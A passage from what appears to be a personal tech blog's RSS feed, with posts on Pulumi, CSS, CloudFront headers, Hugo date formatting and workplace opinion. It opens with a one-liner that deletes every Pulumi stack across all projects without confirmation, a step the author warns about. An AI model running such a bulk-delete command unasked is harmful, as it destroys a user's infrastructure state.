<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">pulumi stack ls <span class="p">|</span> tail -n +2 <span class="p">|</span> tr -d <span class="s2">&#34;*&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print $1}&#39;</span> <span class="p">|</span> <span class="k">while</span> <span class="nb">read</span> -r stack<span class="p">;</span> <span class="k">do</span> pulumi stack rm -y <span class="s2">&#34;</span><span class="nv">$stack</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">done</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="delete-all-stacks-across-all-projects">Delete All Stacks Across All Projects</h2>
<blockquote><p><strong>Warning:</strong></p>It should go without saying but, <strong>be careful when doing this</strong>.</blockquote>

<p>To delete all Pulumi stacks across all Pulumi projects we need to use <code>pulumi stack ls -a</code> instead of <code>pulumi stack ls</code>. So the full command is:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">pulumi stack ls -a <span class="p">|</span> tail -n +2 <span class="p">|</span> tr -d <span class="s2">&#34;*&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print $1}&#39;</span> <span class="p">|</span> <span class="k">while</span> <span class="nb">read</span> -r stack<span class="p">;</span> <span class="k">do</span> pulumi stack rm -y <span class="s2">&#34;</span><span class="nv">$stack</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">done</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="command-break-down">Command Break Down</h2>
<p>List pulumi stacks (use <code>-a</code> option for all stacks across all projects):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">pulumi stack ls
</span></span></code></pre></td></tr></table>
</blockquote><p>Start at the second line of the previous output:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">tail -n +2
</span></span></code></pre></td></tr></table>
</blockquote><p>Delete all occurrences of <code>*</code>. There is a <code>*</code> character next to the currently selected stack and we need to remove this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">tr -d <span class="s2">&#34;*&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Print only the first column:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">awk <span class="s1">&#39;{print $1}&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This is a loop in one-liner format. It reads the previous output line by line and assigns each line to an array called <code>stack</code>, then runs the command <code>pulumi stack rm -y</code> on each stack.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="k">while</span> <span class="nb">read</span> -r stack<span class="p">;</span> <span class="k">do</span> pulumi stack rm -y <span class="s2">&#34;</span><span class="nv">$stack</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">done</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://stackoverflow.com/questions/7318497/omitting-the-first-line-from-any-linux-command-output" target="_blank" rel="noopener">https://stackoverflow.com/questions/7318497/omitting-the-first-line-from-any-linux-command-output</a></li>
<li>

<a href="https://www.pulumi.com/docs/iac/cli/commands/pulumi_stack_ls/" target="_blank" rel="noopener">https://www.pulumi.com/docs/iac/cli/commands/pulumi_stack_ls/</a></li>
<li>

<a href="https://www.pulumi.com/docs/iac/cli/commands/pulumi_stack_rm/" target="_blank" rel="noopener">https://www.pulumi.com/docs/iac/cli/commands/pulumi_stack_rm/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to Disable CSS Animations and Transitions</title>
      <link>https://nelson.cloud/how-to-disable-css-animations-and-transitions/?ref=rss</link>
      <pubDate>Sun, 26 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-disable-css-animations-and-transitions/?ref=rss</guid>
      <description>Disable CSS animations and transitions with a few lines of CSS.</description><content:encoded><![CDATA[<p>If you&rsquo;re using a CSS library that comes with animations by default it may be a pain to maintain a modified version of it without animations. It&rsquo;s easier to write your own CSS to disable animations and transitions.</p>
<p>My motivation behind this post was disabling button animations when using 

<a href="https://daisyui.com/" target="_blank" rel="noopener">daisyUI</a> on a side project.</p>
<blockquote><p><strong>Note:</strong></p>I am not a CSS expert and there may be other ways of animating elements via CSS that I did not cover here. Also, this doesn&rsquo;t help if elements are being moved around by JavaScript. But you can easily disable JavaScript for any site through your browser :)</blockquote>

<p>To disable CSS animations and transitions you can try adding the following to your CSS:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">*</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">animation</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transition</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If that doesn&rsquo;t work, try using <code>!important</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">*</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">animation</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transition</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Animations may also be applied using the <code>::before</code> and <code>::after</code> pseudo elements. We can include those in the previous CSS:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">*,</span> <span class="o">*</span><span class="p">::</span><span class="nd">before</span><span class="o">,</span> <span class="o">*</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">animation</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transition</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can also put these into a CSS class and apply to HTML elements as needed if you still want animations in some places:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* style.css */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">no-animations</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">animation</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transition</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="c">&lt;!-- index.html --&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;style.css&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="c">&lt;!-- add a class to whatever elements you want --&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="p">&lt;</span><span class="nt">button</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;no-animations&#34;</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;button&#34;</span><span class="p">&gt;</span>No Animations on this Button<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">     <span class="p">&lt;</span><span class="nt">button</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;button&#34;</span><span class="p">&gt;</span>Animations are ok here<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span> 
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://stackoverflow.com/questions/11131875/what-is-the-cleanest-way-to-disable-css-transition-effects-temporarily" target="_blank" rel="noopener">https://stackoverflow.com/questions/11131875/what-is-the-cleanest-way-to-disable-css-transition-effects-temporarily</a></li>
<li>

<a href="https://stackoverflow.com/questions/31576156/what-does-animationnone-do-exactly" target="_blank" rel="noopener">https://stackoverflow.com/questions/31576156/what-does-animationnone-do-exactly</a></li>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/animation</a></li>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/transition" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/transition</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>We Exist Only to Work</title>
      <link>https://nelson.cloud/we-exist-only-to-work/?ref=rss</link>
      <pubDate>Thu, 23 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/we-exist-only-to-work/?ref=rss</guid>
      <description>We are born, we go to school to prepare for a job, we work most of our lives, then we die.</description><content:encoded><![CDATA[<p>I randomly checked LinkedIn the other day and I saw this banner at the top of my feed:</p>
<img src="/we-exist-only-to-work/linkedin-banner.webp" alt="Banner on LinkedIn" width="720" height="168" style="max-width: 100%; height: auto; aspect-ratio: 1092 / 256;" loading="lazy" decoding="async">
<p>It&rsquo;s obviously an advertisement but it made me think about how much we actually work in our lives. I looked up the average lifespan of a male in the USA and got this:</p>
<img src="/we-exist-only-to-work/life-expectancy.webp" alt="Life expectancy in the USA" width="720" height="281" style="max-width: 100%; height: auto; aspect-ratio: 2048 / 800;" loading="lazy" decoding="async">
<p>That&rsquo;s depressing. We work most of our lives. I know that wasn&rsquo;t their intent but yeah.</p>
<p>Fuck.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.cdc.gov/nchs/fastats/life-expectancy.htm" target="_blank" rel="noopener">https://www.cdc.gov/nchs/fastats/life-expectancy.htm</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>There Is Little Incentive to Participate in Your Employer&#39;s Hackathons</title>
      <link>https://nelson.cloud/there-is-little-incentive-to-participate-in-your-employers-hackathons/?ref=rss</link>
      <pubDate>Tue, 07 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/there-is-little-incentive-to-participate-in-your-employers-hackathons/?ref=rss</guid>
      <description>Come up with a million-dollar idea, get $100 in return.</description><content:encoded><![CDATA[<p>I don&rsquo;t understand why software developers participate in voluntary company 

<a href="https://en.wikipedia.org/wiki/Hackathon" target="_blank" rel="noopener">hackathons</a> on top of their day-to-day work. The company benefits the most out of whatever software is developed during these hackathons. In general, most of the work you do in your company mainly benefits the company, but I think this is especially true for hackathons.</p>
<p>I&rsquo;d rather do a hackathon outside of work with friends or colleagues, even if there is no financial gain.</p>
<p>You might ask, &ldquo;if you don&rsquo;t care about money, why not just do a hackathon for your company?&rdquo;.</p>
<p>If I join a hackathon outside of work I can do it to potentially create a side hustle or simply for the joy of creating software.</p>
<p>If I volunteer to work on a hackathon for my employer, my ideas and creations are taken from me even if I enjoy working on these projects.
It feels like someone is taking advantage of me, especially if hackathons are not part of my job description and I receive no additional compensation for participating.
If there is compensation, it&rsquo;s usually something like a $100 Amazon gift card.</p>
<p>Maybe it&rsquo;s just me that can&rsquo;t get motivated or excited about a company hackathon.</p>
<p>I can summarize company hackathons like this: you come up with a million dollar idea for your employer and (maybe) get $100 in return.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Fix &#34;Efficient Cache Policy&#34; Warning on PageSpeed Insights When Using Amazon CloudFront</title>
      <link>https://nelson.cloud/fix-efficient-cache-policy-warning-on-pagespeed-insights-when-using-amazon-cloudfront/?ref=rss</link>
      <pubDate>Thu, 02 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/fix-efficient-cache-policy-warning-on-pagespeed-insights-when-using-amazon-cloudfront/?ref=rss</guid>
      <description>Get rid of the efficient cache policy warning on PageSpeed Insights by adding a &lt;code&gt;Cache-Control&lt;/code&gt; header to CloudFront.</description><content:encoded><![CDATA[<p>I ran into this warning recently on 

<a href="https://pagespeed.web.dev/" target="_blank" rel="noopener">PageSpeed Insights</a>: <em>&ldquo;Serve static assets with an efficient cache policy&rdquo;</em>. The warning highlighted three assets that had no &ldquo;Cache TTL&rdquo; defined:</p>
<img src="/fix-efficient-cache-policy-on-gsc/before.webp" alt="Efficient cache policy warning on PageSpeed Insights" width="720" height="295" style="max-width: 100%; height: auto; aspect-ratio: 1904 / 782;" loading="lazy" decoding="async">
<p>To resolve this warning, I added a <code>Cache-Control</code> header with the value <code>max-age=31536000</code> to the HTTP responses of my domain (<code>31536000</code> is the number of seconds in a year).</p>
<p>I host 

<a href="https://nelson.cloud" target="_blank" rel="noopener">nelson.cloud</a> on 

<a href="https://aws.amazon.com/cloudfront/" target="_blank" rel="noopener">Amazon CloudFront</a>. I added this header to the CloudFront Distribution that the <code>nelson.cloud</code> domain points to. This can be done by adding a &ldquo;Response headers policy&rdquo; in the Behavior of the Distribution. I wrote a post demonstrating how to do this in detail: 

<a href="https://nelson.cloud/how-to-add-a-custom-response-header-to-an-amazon-cloudfront-distribution/">How to Add a Custom Response Header to an Amazon CloudFront Distribution</a>.</p>
<p>After the header was configured, I checked PageSpeed Insights again and the warning had gone away for the assets under my domain <code>nelson.cloud</code>:</p>
<img src="/fix-efficient-cache-policy-on-gsc/after.webp" alt="Efficient cache policy warning is gone for 2 assets." width="720" height="194" style="max-width: 100%; height: auto; aspect-ratio: 1912 / 516;" loading="lazy" decoding="async">
<p>(The remaining asset is not under my control so I can&rsquo;t fix that one.)</p>
<blockquote><p><strong>Note:</strong></p>You may be able to use a different value smaller than <code>31536000</code> for your header. I chose a year in seconds to be on the safe side for PageSpeed Insights.</blockquote>

<h2 id="references">References</h2>
<ul>
<li>

<a href="https://developer.chrome.com/docs/lighthouse/performance/uses-long-cache-ttl/" target="_blank" rel="noopener">https://developer.chrome.com/docs/lighthouse/performance/uses-long-cache-ttl/</a></li>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control</a></li>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Expiration.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Expiration.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to Add a Custom Response Header to an Amazon CloudFront Distribution</title>
      <link>https://nelson.cloud/how-to-add-a-custom-response-header-to-an-amazon-cloudfront-distribution/?ref=rss</link>
      <pubDate>Wed, 01 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-add-a-custom-response-header-to-an-amazon-cloudfront-distribution/?ref=rss</guid>
      <description>A guide to adding custom response headers to a CloudFront distribution using response headers policies in the AWS Console.</description><content:encoded><![CDATA[<p>This post assumes you already have an 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html" target="_blank" rel="noopener">Amazon CloudFront</a> Distribution deployed and properly configured. You&rsquo;ll also need knowledge about 

<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers" target="_blank" rel="noopener">HTTP headers</a> if you found your way here because your boss told you to do this and &ldquo;figure it out&rdquo;.</p>
<p>Go to the AWS Console and click into your CloudFront Distribution. Then click on the &ldquo;Behaviors&rdquo; tab. If you already have a behavior, you can edit the existing one. Otherwise, create a behavior.</p>
<img src="/aws-cloudfront-custom-response-header/distribution.webp" alt="CloudFront Distribution Behaviors tab" width="720" height="180" style="max-width: 100%; height: auto; aspect-ratio: 2284 / 572;" loading="lazy" decoding="async">
<p>I won&rsquo;t cover the other Behavior settings as that is out of the scope of this post, but to add a custom response header look for the &ldquo;Response headers policy - <em>optional</em>&rdquo; field which is under &ldquo;Cache key and origin requests&rdquo;.</p>
<img src="/aws-cloudfront-custom-response-header/response-headers-policy.webp" alt="Response headers policy field" width="720" height="107" style="max-width: 100%; height: auto; aspect-ratio: 1580 / 236;" loading="lazy" decoding="async">
<p>Click on the &ldquo;Create response headers policy&rdquo; link. On the next page fill in the &ldquo;Name&rdquo; field at the very top. Then, scroll a bit down and you should see the &ldquo;Custom headers - <em>optional</em>&rdquo; field.</p>
<img src="/aws-cloudfront-custom-response-header/custom-headers.webp" alt="Custom headers field" width="720" height="589" style="max-width: 100%; height: auto; aspect-ratio: 2184 / 1788;" loading="lazy" decoding="async">
<p>Click on the &ldquo;Add header&rdquo; button and add the custom header you&rsquo;d like. In my case, I added the <code>Cache-Control</code> header with a value of <code>max-age=31536000</code>. I also checked the <code>Origin override</code> box because I want this header to take precedence over other headers that may be set in the origin.</p>
<img src="/aws-cloudfront-custom-response-header/custom-header-filled.webp" alt="Custom headers field filled in" width="720" height="134" style="max-width: 100%; height: auto; aspect-ratio: 2172 / 404;" loading="lazy" decoding="async">
<p>Then click the &ldquo;Create&rdquo; button on the bottom right. You&rsquo;ll be redirected to CloudFront &gt; Policies. You can see your newly created response header under the &ldquo;Response headers&rdquo; tab. In my case it&rsquo;s called <code>cache-control-header</code>.</p>
<img src="/aws-cloudfront-custom-response-header/policies.webp" alt="Policies view showing custom policy" width="720" height="533" style="max-width: 100%; height: auto; aspect-ratio: 1738 / 1286;" loading="lazy" decoding="async">
<p>Now that this custom header policy is created, browse back to your Distribution and click on the &ldquo;Behaviors&rdquo; tab. Edit an existing Behavior or create one. Scroll down to the &ldquo;Response headers policy - <em>optional</em>&rdquo; field again. Then, select your new response header policy.</p>
<img src="/aws-cloudfront-custom-response-header/behavior-filled.webp" alt="Selecting new response header policy in Behaviors tab" width="720" height="131" style="max-width: 100%; height: auto; aspect-ratio: 1236 / 224;" loading="lazy" decoding="async">
<p>Then save your changes.</p>
<p>Wait a few minutes and your distribution will be updated with the new header. There is no need to create an 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html" target="_blank" rel="noopener">Invalidation</a>.</p>
<p>You can test this out by running <code>curl -IX GET &lt;your-distribution-domain-name&gt;</code>. Your output should look something like this. Look for your custom header in the output. In my case, <code>cache-control</code> shows up at the very bottom.</p>
<pre tabindex="0"><code>$ curl -IX GET https://abcdefghijklmn.cloudfront.net

HTTP/2 301
content-length: 0
location: https://nelson.cloud/index.html
date: Wed, 01 Jan 2025 08:12:11 GMT
server: AmazonS3
x-cache: Hit from cloudfront
via: 1.1 98167d64569fd17ca63a5b7db2edfe28.cloudfront.net (CloudFront)
x-amz-cf-pop: LAX54-P1
x-amz-cf-id: l5n0bciPQfswC27jGnhcrkuldHWFDgZx0JdYo406qkoKKKP87i_dsA==
age: 2292
cache-control: max-age=31536000
</code></pre><p>Done!</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers</a></li>
<li>

<a href="https://stackoverflow.com/questions/56187791/how-to-set-cache-control-header-in-amazon-cloudfront" target="_blank" rel="noopener">https://stackoverflow.com/questions/56187791/how-to-set-cache-control-header-in-amazon-cloudfront</a></li>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/modifying-response-headers.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/modifying-response-headers.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to Generate and Format the Current Date and Time in Hugo with dateFormat</title>
      <link>https://nelson.cloud/how-to-generate-and-format-the-current-date-and-time-in-hugo-with-dateformat/?ref=rss</link>
      <pubDate>Sun, 22 Dec 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-generate-and-format-the-current-date-and-time-in-hugo-with-dateformat/?ref=rss</guid>
      <description>Several examples of dateFormat including date only, date + 12-hour time, date + 24-hour time, date + timezone, and date + UTC offset.</description><content:encoded><![CDATA[<p>Here are a bunch of 

<a href="https://gohugo.io/" target="_blank" rel="noopener">Hugo</a> snippets you can use to generate the current date and time in your Hugo site.</p>
<p>You can copy and paste these into HTML templates. If you want to use these within your posts/articles (Markdown files) you&rsquo;ll need to create a shortcode first. Scroll down to the 

<a href="#using-shortcodes">Using Shortcodes</a> section for more details.</p>
<p>I&rsquo;m running Hugo v0.140.0+extended.</p>
<p><strong>For all examples, I will assume the time is 2024-12-22 2:30PM PT.</strong></p>
<h2 id="date-only">Date Only</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22
</code></pre><h2 id="date-and-12-hour-time">Date and 12-Hour Time</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 3:04&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22 2:30
</code></pre><p>You can specify AM or PM by adding <code>PM</code> to the time. Go will output the correct one (AM/PM) based on the actual time:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 3:04PM&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22 2:30PM
</code></pre><blockquote><p><strong>Note:</strong></p><p>Always use <code>PM</code> (or <code>pm</code>) as the placeholder in the time string. Using <code>AM</code> in the time string will print the literal text <code>AM</code> as regardless of the actual time. For example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 3:04AM&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Will output:</p>
<pre tabindex="0"><code>2024-12-22 2:30AM
</code></pre><p>Even if it&rsquo;s actually 2:30PM.</p>
</blockquote>

<h2 id="date-and-24-hour-time">Date and 24-Hour Time</h2>
<p>Essentially just changing <code>3:04</code> to <code>15:04</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 15:04&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22 14:30
</code></pre><h2 id="date-and-time-with-timezone">Date and Time with Timezone</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 15:04 PST&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22 14:30 PST
</code></pre><br>
<p>It&rsquo;s possible to add just about anything in place of the timezone and it&rsquo;ll take it. You can even add text that isn&rsquo;t a valid timezone.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 15:04 test&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>2024-12-22 14:30 test
</code></pre><h2 id="date-time-timezone-and-utc-offset">Date, Time, Timezone, and UTC Offset</h2>
<p>There are two ways that I found of doing this.</p>
<p>The first way:</p>
<div class="highlight"><div class="chroma">
